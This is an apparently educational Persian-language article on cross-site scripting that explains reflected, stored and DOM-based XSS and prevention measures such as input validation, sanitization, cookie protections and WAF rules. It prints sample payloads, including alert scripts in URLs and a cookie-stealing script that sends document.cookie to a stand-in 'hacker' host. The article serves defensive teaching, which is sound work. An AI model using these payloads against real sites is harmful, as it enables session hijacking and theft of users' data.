حملات XSS که با نامهای Cross-site scripting attack و حملات اسکریپت بینسایتی نیز شناخته میشود، یک نوع حملهی تزریقی هستند که با واردکردن کدهای مخرب به وبسایتهای ناامن، به اطلاعات حساس کاربران دسترسی پیدا میکنند. در این حملات، مهاجم پس از پیداکردن نقص در برنامهی وب که معمولا جاوا اسکریپت سمت کلاینت است، کد مخرب را ارسال میکند.
در حملهی xss به جای میزبان برنامه، خود کاربران برنامه هدف قرار میگیرند. معمولا هدف این حملات، سازمانها یا شرکتهایی هستند که برنامههای تحت وب را بدون اعتبارسنجی کاربران و سایر تدابیر امنیتی اجرا میکنند.
در حال حاضر، حملات XSS یکی از 10 حملهی امنیتی رایجی هستند که سازمانها و شرکتهایی که با برنامههای کاربردی تحت وب سرور کار دارند را مورد هدف قرار میدهند. با این که این حملات رایجاند، میتوانید با استفاده از روشهایی مانند نوشتن کد، آزمایش و شناسایی نقاط آسیب پذیر و یا کار با ابزارهای امنیتی مانند Veracode Dynamic Analysis از آسیبهای احتمالی جلوگیری کرده و امنیت وبسایت خود را ارتقا دهید.
در این مطلب کمی بیشتر با این نوع حملات، انواع آنها و راههایی برای جلوگیری از آنها آشنا میشویم.
حملات XSS چه حملاتی هستند؟
حملات XSS مخفف عبارت Cross-site scripting نوعی حمله سایبری و یک ابزار نرمافزاری طراحیشده برای ایجاد نقص و تخریب است که در آن، مهاجم کد را به یک وبسایت میفرستد و زمانی که کاربر برای بارگذاری وبسایت اقدام میکند، کد اجرا میشود. معمولا، این کد به انتهای یک آدرس URL اضافه میشود و یا مستقیما در صفحهای که محتوا در آن قرار دارد، جاسازی میشود.
از این جهت، میتوان حملات XSS را به عنوان یک حملهی تزریق کد سمت مشتری معرفی کرد.
منظور از Client-Side Code چیست؟
کد سمت کلاینت (یا همان Client-side code) یک کد جاوا اسکریپت است که روی ماشین کاربر اجرا میشود. وبسایتها، کد Client-side را کدی میدانند که پس از بارگیری یک صفحهی وب، توسط مرورگر وب اجرا میشود. اگر قصد خرید سرور را دارید، بهتر است بدانید که این کد با کد سرور که در وب سرور میزبان اجرا میشود فرق دارد.
کد Client-side با صفحات وب تعاملی سازگاری بهتری دارد؛ زیرا محتوای تعاملی، سریعتر و قابلاطمینانتر اجرا میشود. دلیل سرعت و قابلیت اطمینان محتوای تعاملی این است که رایانهی کاربر مجبور نیست هر بار که صفحات وب تعاملی اجرا میشوند، با وب سرور ارتباط برقرار کند.
بازیهای مبتنی بر مرورگر نیز از دیگر پلتفرمهای محبوب برای اجرای کدهای سمت کلاینت هستند؛ زیرا کد سمت کلاینت میتواند تضمین کند که بازی بدون توجه به اختلال اتصال به اینترنت، بدون مشکل اجرا میشود.
کدی که در سمت کلاینت اجرا میشود، در توسعهی وب مدرن بسیار محبوب است و اکثر وبسایتهای مدرن، از این نوع کدها استفاده میکنند. همانطور که میدانید، Cross-Site Scripting، یکی از اجزای اصلی وب مدرن است و به همین دلیل، به یکی از مهمترین اهداف حملات سایبری تبدیل شده است، به طوری که در سالهای اخیر، شاهد موارد زیادی از آسیبپذیری تزریق اسکریپت از طریق وبگاه یا Cross-Site Scripting در وبسایتهایی نظیر یوتیوب، فیسبوک، توییتر و بسیاری موارد دیگر بودهایم.
مثالی از Cross-Site Scripting
حملات XSS معمولا در وبسایتهایی که فرومها و انجمنهای نامعتبر دارند، بیشتر دیده میشود. در چنین مواردی استفاده از تدابیری مانند بکارگیری فایروال نیز نمیتواند مانع این نوع حملات شود. در این وبسایتها، مهاجم یک کامنت یا نظر که حاوی کدهایی با تگهای ‘<script></script>’ است را در یک انجمن ارسال میکند. این تگها، به مرورگر وب میگویند که تمام چیزهایی که بین آنها هستند را به عنوان یک کد جاوا اسکریپت تفسیر کند. پس از ثبت نظر، زمانی که کاربر دیگری آن وبسایت را بارگذاری میکند، کد مخربی که بین تگهای اسکریپت قرار دارد، توسط مرورگر وب اجرا میشود و کاربر مورد حمله قرار میگیرد.
هکرها چگونه از Cross-Site Scripting استفاده میکنند؟
حمله Cross site scripting جاوا اسکریپت بسیار محبوب است، زیرا جاوا اسکریپت به برخی از دادههای حساس دسترسی دارد و میتوان از این دسترسی برای سرقت هویت و اهداف مجرمانهی دیگر استفاده کرد. به عنوان مثال، میدانیم که جاوا اسکریپت به کوکیها دسترسی دارد.
کوکیها، اعتبارنامههای ورود موقتی هستند که در مرورگر وب رایانهی کاربر ذخیره میشوند. به عنوان مثال، زمانی که یک کاربر فیسبوک میخواهد در یک روز چندبار وارد این وبسایت شود، کوکی به او کمک میکند تا از ورود دوم به بعد، دیگر نیازی به احراز هویت نداشته باشد و به صورت خودکار به حساب کاربری خود وارد شود.
مهاجم میتواند با کمک حملات XSS به کوکیهای کاربر دسترسی پیدا کرده و به جعل هویت او بپردازد. همچنین، مهاجم میتواند به APIهایی که حاوی مختصات جغرافیایی، دادههای وب و سایر اطلاعات حساس کاربران هستند، دسترسی پیدا کند.
فرایند یک حملهی XSS معمولی به شرح زیر است:
- در مرحلهی اول، قربانی، صفحهی وب را بارگذاری کرده و کد مخرب، به کپی کردن کوکیهای کاربر میپردازد.
- کد مخرب، یک درخواست HTTP را همراه با کوکیهای دزدیده شده در بدنهی درخواست، به وب سرور مهاجم ارسال میکند.
- سپس، مهاجم میتواند از این کوکیها برای جعل هویت کاربر قربانی استفاده کرده و به استخراج اطلاعات حسابهای بانکی و سایر اطلاعات حساس او بپردازد.
انواع حملات XSS
در ادامه به بررسی برخی از انواع حملات XSS میپردازیم.
Reflected
حملات Reflected از سادهترین و رایجترین انواع حملات XSS به شمار میروند. در این حملات، کد مخرب در وب سرور ذخیره نمیشود؛ بلکه در یک صفحهی وب یا درخواست وب مانند URL یا یک کوکی جاسازی شده و به عنوان بخشی از صفحهی وب در معرض دید مرورگر قربانی قرار میگیرد.
فرایند یک حملهی Reflected XSS معمولی به شرح زیر است:
- مهاجم پس از ایجاد یک URL مخرب که حاوی برچسب اسکریپت با مقداری کد جاوااسکریپت است (مانند <script>alert(‘XSS’)</script>)، آن را به به یک صفحهی وب معتبر مانند https: //example.com/search?q=<script>alert(‘XSS’)</script> اضافه میکند.
- URL مخرب از طریق ایمیل، رسانههای اجتماعی با ابزارهای دیگر برای کاربر قربانی ارسال میشود و با یک پیام، او را ترغیب میکند که بر روی آن کلیک کند.
- قربانی بر روی URL مخرب کلیک کرده و سپس، یک درخواست وب به وب سرور آن وبسایت ارسال میشود.
- وب سرور، درخواست وب را پردازش کرده و سپس صفحهی وب که حاوی نتایج جستجو برای <script>alert(‘XSS’)</script> است را باز میگرداند.
- مرورگر کاربر قربانی، صفحهی وب را دریافت کرده و تگ حاوی اسکریپت را اجرا میکند. پس از آن، یک کادر هشدار که عبارت “XSS” را نشان میدهد، ظاهر میشود.
- در این مرحله، مهاجم، کد جاوا اسکریپت دلخواه را در مرورگر قربانی اجرا کرده است.
تاثیر حملهی Reflected XSS به هدف کد مخرب و ماهیت حمله بستگی دارد. به عنوان مثال، در مثال بالا، هیچ تاثیری به جز نمایش پیام هشدار مشاهده نمیکنید؛ اما در واقعیت چنین نیست و مهاجم میتواند از کدهای پیچیده تری برای انجام عملیات خرابکارانهای مثل دزدیدن کوکیهای کاربران، هدایت به سایت فیشینگ و سایر اقدامات مخرب استفاده کند.
Persistent یا Stored
حملهی Stored XSS معمولا پیچیدهتر و خطرناکتر از حملات Reflected XSS است. در این نوع حملات، کدهای مخرب در وب سرور ذخیره شده و به صورت یک پایگاه داده، فایل یا گزارش در هر زمانی که قربانی درخواست بازشدن صفحهی وب را بدهد، به او تحویل داده میشوند. این کد مخرب بر روی وب سرور باقی میماند و بر روی سیستم سایر کاربرانی که از آن صفحهی وب بازدید میکنند نیز ارسال میشود.
فرایند یک حملهی Stored XSS معمولی به شرح زیر است:
- مهاجم از یک اپلیکیشن وب مانند وبلاگ، انجمن یا شبکهی اجتماعی که به کاربران اجازهی ارسال نظرات را میدهد، بازدید میکند.
- مهاجم، یک نظر حاوی برچسب اسکریپت با مقداری کد جاوا (مانند <script>alert(‘XSS’)</script>) را پست کرده و آن را به وب سرور ارسال میکند.
- وب سرور نظر را پذیرفته و بدون اینکه آن را تایید یا پاکسازی کند، در یک پایگاه داده ذخیره میکند.
- کاربر قربانی از صفحهی وبی که نظرات را نشان میدهد و آن درخواست وب را از سرور ارسال میکند، بازدید میکند.
- وب سرور پس از بازیابی نظرات از پایگاه داده، صفحهی وب حاوی نظرات مخرب را برمی گرداند.
- صفحهی وب توسط مرورگر قربانی دریافت میشود و تگ اسکریپت اجرا میشود. سپس، یک کادر هشدار ظاهر میشود که عبارت “XSS” را نشان میدهد.
- در این مرحله، مهاجم کد جاوا اسکریپت دلخواه را با موفقیت بر روی مرورگر قربانی اجرا کرده است.
تاثیر حملهی Stored XSS مشابه حملات Reflected اما شدیدتر از آن است. شدیدتربودن تاثیر این حملات نیز به این دلیل است که کد مخرب تا زمانی که شناسایی و حذف نشود، بر روی مرورگر کاربران مختلف اجرا میشود.
DOM-Based
حملات DOM-based XSS پیچیدهترین نوع حملات XSS هستند و به ندرت توسط مهاجمان استفاده میشوند. در این نوع حملات، کد مخرب در درخواست وب یا صفحات وب قرار نمیگیرد، بلکه در Document Object Model (DOM) که یک نمایش از صفحهی وب در حافظهی مرورگر است، جاسازی میشود. این کد مخرب هیچ تعاملی با وبسرور ندارد و فقط DOM را تغییر میدهد.
روال یک حملهی DOM-Based معمولی به شرح زیر است:
- مهاجم یک URL مخرب مانند #<script>alert(‘XSS’)</script> که حاوی یک شناسهی قطعه است را ایجاد کرده و آن را به یک صفحهی وب معتبر مانند https: //example.com/index.html#<script>alert(‘XSS’)</script> ارسال میکند.
- URL مخرب توسط ایمیل، رسانههای اجتماعی یا ابزارهای دیگر برای قربانی ارسال میشود و او را متقاعد میکند تا بر روی آن کلیک کند.
- پس از کلیک کردن بر روی URL مخرب، یک درخواست وب به سرور وبسایت ارسال میشود.
- سرور وبسایت، یک صفحهی وب را برمی گرداند که حاوی مقداری کد جاوا اسکریپت (مانند document.write(location.hash)) است که شناسهی قطعه را از URL خوانده و آن را در DOM مینویسد.
- مرورگر قربانی، صفحهی وب را دریافت کرده و کد جاوا اسکریپت که شناسهی قطعه را در DOM مینویسد را اجرا میکند.
- مرورگر قربانی، تگ اسکریپت را اجرا کرده و یک کادر هشدار حاوی عبارت “XSS” ظاهر میشود.
- در این مثال، مهاجم توانسته کد جاوا اسکریپت را با موفقیت در مرورگر قربانی اجرا کند.
تاثیر حملات DOM-Based شبیه به حملات دیگر است، اما شناسایی و جلوگیری از این نوع حملات سختتر است؛ زیرا کدهای مخرب در این نوع حملات به جای درخواست وب یا صفحات وب، در DOM قرار میگیرند.
چگونه از حملات XSS جلوگیری کنیم؟
برای جلوگیری از حملات XSS نمیتوانیم برای هر یک از انواع این حمله یک روش یکسان در نظر بگیریم و باید از روشهای کاربردی مختلف استفاده کنیم؛ زیرا انواع مختلف برنامههای کاربردی وب، به سطوح امنیتی مختلفی نیاز دارند. در این بخش، چند مورد از مهمترین اقدامات امنیتی برای جلوگیری از این حملات را معرفی میکنیم:
در صورت امکان، از HTML در فیلدهای ورودی خودداری کنید.
یکی از راههای موثر برای جلوگیری از این نوع حملات این است که مانع از ارسال HTML در ورودیهای فرمها توسط کاربران شوید. گزینههای دیگری هم وجود دارند که به کاربران اجازه میدهند بدون استفاده از HTML، یک محتوای خوب ایجاد کنند. برخی از این گزینهها عبارتند از ویزایشگرهای markdown یا WYSIWYG.
اعتبارسنجی ورودی ها
با استفاده از اعتبارسنجی، کاربر نمیتواند در فرمی که از استانداردهای بخصوصی پیروی نمیکند، دادهای ارسال کند. به عنوان مثال، یک ورودی که حاوی “نام خانوادگی” کاربر است باید طبق قوانین خاصی باشد و فقط دادههای حاوی حروف الفبایی را قبول کند. قوانین اعتبارسنجی میتوانند به گونهای تنظیم شوند که تگها یا کاراکترهایی مانند <script> که در Cross-Site Scripting استفاده میشوند را رد کنند.
پاکسازی داده ها
عملیات پاکسازی دادهها مشابه اعتبارسنجی انجام میشود؛ با این تفاوت که پس از ارسال دادهها در وب سرور و قبل از نمایش آنها برای کاربران دیگر، اتفاق میافتد. ابزارهای آنلاین مختلفی برای پاکسازی HTML و فیلترکردن تزریق کد مخرب وجود دارند.
انجام اقدامات امنیتی کوکی
برخی از برنامههای کاربردی وب دارای ویژگیها و قوانین خاصی برای مدیریت کوکی و جلوگیری از سرقت کوکیها از طریق حملات XSS هستند. با استفاده از این ابزارها، میتوان کوکیها را به آدرسهای IP خاصی متصل کرد تا مهاجمان نتوانند به کوکیها دسترسی داشته باشند. علاوه براین، میتوانید قوانینی تنظیم کنید تا به طور کلی جاوا اسکریپت را از دسترسی به کوکیها منع کند.
تنظیم قوانین WAF
قوانین WAF از استراتژیهایی استفاده میکنند که درخواستهای نامرتبط و مشکوک را مسدود کرده و امنیت کاربران را بهبود میبخشند.
مثالهایی از حملات XSS به همراه قطعه کد
در این قسمت، دو مثال از حملات XSS به همراه قطعه کد را برایتان شرح میدهیم:
مثال اول
قطعه کد HTTP به شرح زیر است:
<title>Example document: %(title)</title>
با جایگذاری در جلوی علامت %، میخواهیم حملهی XSS یک قطعه الگو را نشان دهد. به عنوان مثال اگر عنوان متغیر دارای مقدار Cross-Site Scripting بود، HTML زیر به مرورگر ارسال شود. برای اینکار باید کد را به صورت زیر بنویسیم:
<title>Example document: XSS Doc</title>
سایتهایی که دارای فیلد جستجو هستند، ورودی مناسب برای پاکسازی ندارند. با ایجاد یک عبارت جستجو به شکل زیر، در سمت دیگر یا همان وب سرور ، بازدیدهایی را دریافت میکنید که پس از یک فاصلهی دوتایی، کوکی کاربر است:
"><SCRIPT>var+img=new+Image();img.src="http://hacker/"%20+%20document.cookie;</SCRIPT>
در صورتی که یک ادمین بر روی لینک کلیک کند، مهاجم میتواند شناسهی جلسه را بدزدد.
مثال دوم
فرض کنید یک URL مانند زیر در وبسایت گوگل مانند http: //www.google.com/search?q=flowers وجود دارد که اسناد HTML حاوی قطعه کد زیر را برمی گرداند:
<p>Your search for 'flowers' returned the following results: </p>
در مثال بالا، مقدار پارامتر query یا همان q در صفحه بازگردانده شده توسط گوگل، درج میشود. تصور کنید که دادهها اعتبار سنجی و فیلتر نشده و همچنین از بین نرفتهاند. وبسایت Evil.org میتواند صفحهای ایجاد کند که باعث میشود URL زیر در مرورگر بارگذاری شود (برای مثال در یک <iframe> نامرئی):
http: //www.google.com/search?q=flowers+%3Cscript%3Eevil_script()%3C/script%3E
زمانی که قربانی این صفحه را از وبسایت www.evil.org بارگیری میکند، مرورگر، iframe را از URL بالا بارگیری میکند. سند بارگیری شده در iframe نیز حاوی قطعه کد زیر است.
<p>Your search for 'flowers <script>evil_script()</script>'
returned the following results: </p>
بارگیری این صفحه به اجرای () evil_script توسط مرورگر منجر میشود. علاوه بر این، این اسکریپت در بکگراند یک صفحهی بارگیری شده از گوگل اجرا میشود.
جمعبندی
حمله Cross site scripting نوعی آسیبپذیری امنیتی وب است که در آن، مهاجمان با تزریق کدهای مخرب به صفحات وب و اجرای آن در مرورگر بازدیدکنندگان، دست به انجام کارهای خلافکارانه میزنند. این حملات میتوانند امنیت و حریم خصوصی کاربران را تهدید کرده و همچنین، عملکرد و یکپارچگی برنامههای کاربردی وب را مخدوش کنند.
3 نوع اصلی حمله Cross site scripting عبارتند از حملات Reflected، حملات Stored و حملات DOM-Based. هر کدام از این حملات دارای ویژگیهای متفاوتی هستند و به روشهای مختلفی انجام میشوند. توسعه دهندگان وب برای حفاظت کاربران در برابر این حملات، باید از اقدامات و برنامههای موثری مانند اعتبارسنجی ورودی، کدگذاری خروجی، اقدامات امنیتی کوکی و غیره استفاده کنند.
امیدواریم با مطالعهی این صفحه به خوبی با انواع حملات XSS و راههای جلوگیری از آنها آشنا شده باشید.